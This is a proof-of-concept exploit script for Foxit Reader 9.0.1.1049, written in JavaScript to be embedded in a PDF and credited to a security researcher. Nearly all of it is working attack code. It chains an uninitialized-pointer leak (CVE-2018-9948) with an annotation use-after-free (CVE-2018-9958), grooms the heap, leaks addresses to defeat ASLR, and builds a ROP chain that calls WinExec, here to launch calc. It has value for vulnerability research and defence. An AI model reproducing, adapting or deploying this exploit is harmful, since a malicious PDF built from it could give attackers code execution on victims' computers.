CVE-2018-9958 -- Exploit.pdf

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/*
Foxit Reader Remote Code Execution Exploit
==========================================

Written by: Steven Seeley (mr_me) of Source Incite
Date: 22/06/2018
Technical details: https://srcincite.io/blog/2018/06/22/foxes-among-us-foxit-reader-vulnerability-discovery-and-exploitation.html
Download: https://www.foxitsoftware.com/downloads/latest.php?product=Foxit-Reader&platform=Windows&version=9.0.1.1049&package_type=exe&language=English
Target version: Foxit Reader v9.0.1.1049 (sha1: e3bf26617594014f4af2ef2b72b4a86060ec229f)
Tested on:
    1. Windows 7 Ultimate x86 build 6.1.7601 sp1
    2. Windows 10 Pro x86 v1803 build 10.0.17134
Vulnerabilities leveraged:
    1. CVE-2018-9948
    2. CVE-2018-9958
*/

var heap_ptr   = 0;
var foxit_base = 0;
var pwn_array  = [];

function prepare_heap(size){
    /*
        This function prepares the heap state between allocations
        and frees to get a predictable memory address back. 
    */
    var arr = new Array(size);
    for(var i = 0; i < size; i++){
        arr[i] = this.addAnnot({type: "Text"});;
        if (typeof arr[i] == "object"){
            arr[i].destroy();
        }
    }
}
	
function gc() {
    /*
        This is a simple garbage collector, written by the notorious @saelo
        Greetz, mi amigo.
    */
    const maxMallocBytes = 128 * 0x100000;
    for (var i = 0; i < 3; i++) {
        var x = new ArrayBuffer(maxMallocBytes);
    }
}

function alloc_at_leak(){
    /*
        This is the function that allocates at the leaked address
    */
    for (var i = 0; i < 0x64; i++){
        pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));
    }
}

function control_memory(){
    /*
        This is the function that fills the memory address that we leaked
    */
    for (var i = 0; i < 0x64; i++){
        for (var j = 0; j < pwn_array[i].length; j++){
            pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4
        }
    }
}

function leak_vtable(){
    /*
        Foxit Reader Typed Array Uninitialized Pointer Information Disclosure Vulnerability
        ZDI-CAN-5380 / ZDI-18-332 / CVE-2018-9948
        Found by: bit from meepwn team
    */

    // alloc
    var a = this.addAnnot({type: "Text"});

    // free
    a.destroy();
    gc();
	
    // kinda defeat lfh randomization in win 10
    prepare_heap(0x400);

    // reclaim
    var test = new ArrayBuffer(0x60);
    var stolen = new Int32Array(test);

    // leak the vtable
    var leaked = stolen[0] & 0xffff0000;

    // a hard coded offset to FoxitReader.exe base v9.0.1.1049 (a01a5bde0699abda8294d73544a1ec6b4115fa68)
    foxit_base = leaked - 0x01f50000;
}

function leak_heap_chunk(){
    /*
        Foxit Reader Typed Array Uninitialized Pointer Information Disclosure Vulnerability
        ZDI-CAN-5380 / ZDI-18-332 / CVE-2018-9948
        Found by: bit from meepwn team
    */

    // alloc
    var a = this.addAnnot({type: "Text"});
	
    // free
    a.destroy();
	
    // kinda defeat lfh randomization in win 10
    prepare_heap(0x400);
		
    // reclaim
    var test = new ArrayBuffer(0x60);
    var stolen = new Int32Array(test);
    
    // alloc at the freed location
    alloc_at_leak();
    
    // leak a heap chunk of size 0x40
    heap_ptr = stolen[1];
}

function reclaim(){
    /*
        This function reclaims the freed chunk, so we can get rce and I do it a few times for reliability.
        All gadgets are from FoxitReader.exe v9.0.1.1049 (a01a5bde0699abda8294d73544a1ec6b4115fa68)
    */

    var arr = new Array(0x10);
    for (var i = 0; i < arr.length; i++) {
        arr[i] = new ArrayBuffer(0x60);
        var rop = new Int32Array(arr[i]);

        rop[0x00] = heap_ptr;                // pointer to our stack pivot from the TypedArray leak
        rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret
        rop[0x02] = 0x72727272;              // junk
        rop[0x03] = foxit_base + 0x00001450  // pop ebp; ret
        rop[0x04] = 0xffffffff;              // ret of WinExec
        rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret
        rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec
        rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret
        rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret
        rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret
        rop[0x0a] = foxit_base + 0x0041c6ca; // ret
        rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret
        rop[0x0c] = 0x636c6163;              // calc
        rop[0x0d] = 0x00000000;              // adios, amigo

        for (var j = 0x0e; j < rop.length; j++) {
            rop[j] = 0x71727374;
        }
    }
}

function trigger_uaf(){
    /*
        Foxit Reader Text Annotations point Use-After-Free Remote Code Execution Vulnerability
        ZDI-CAN-5620 / ZDI-18-342 / CVE-2018-9958
        Found by: Steven Seeley (mr_me) of Source Incite
    */

    var that = this;
    var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});
    var arr = [1];
    Object.defineProperties(arr,{
        "0":{ 
            get: function () {

                // free
                that.getAnnot(0, "uaf").destroy();

                // reclaim freed memory
                reclaim();
                return 1; 
            }
        }
    });

    // re-use
    a.point = arr;
}

function main(){

    // 1. Leak a heap chunk of size 0x40
    leak_heap_chunk();

    // 2. Leak vtable and calculate the base of Foxit Reader
    leak_vtable();

    // 3. Then fill the memory region from step 1 with a stack pivot
    control_memory();

    // 4. Trigger the uaf, reclaim the memory, pivot to rop and win
    trigger_uaf();
}

if (app.platform == "WIN"){
    if (app.isFoxit == "Foxit Reader"){
        if (app.appFoxitVersion == "9.0.1.1049"){
            main();
        }
    }
}

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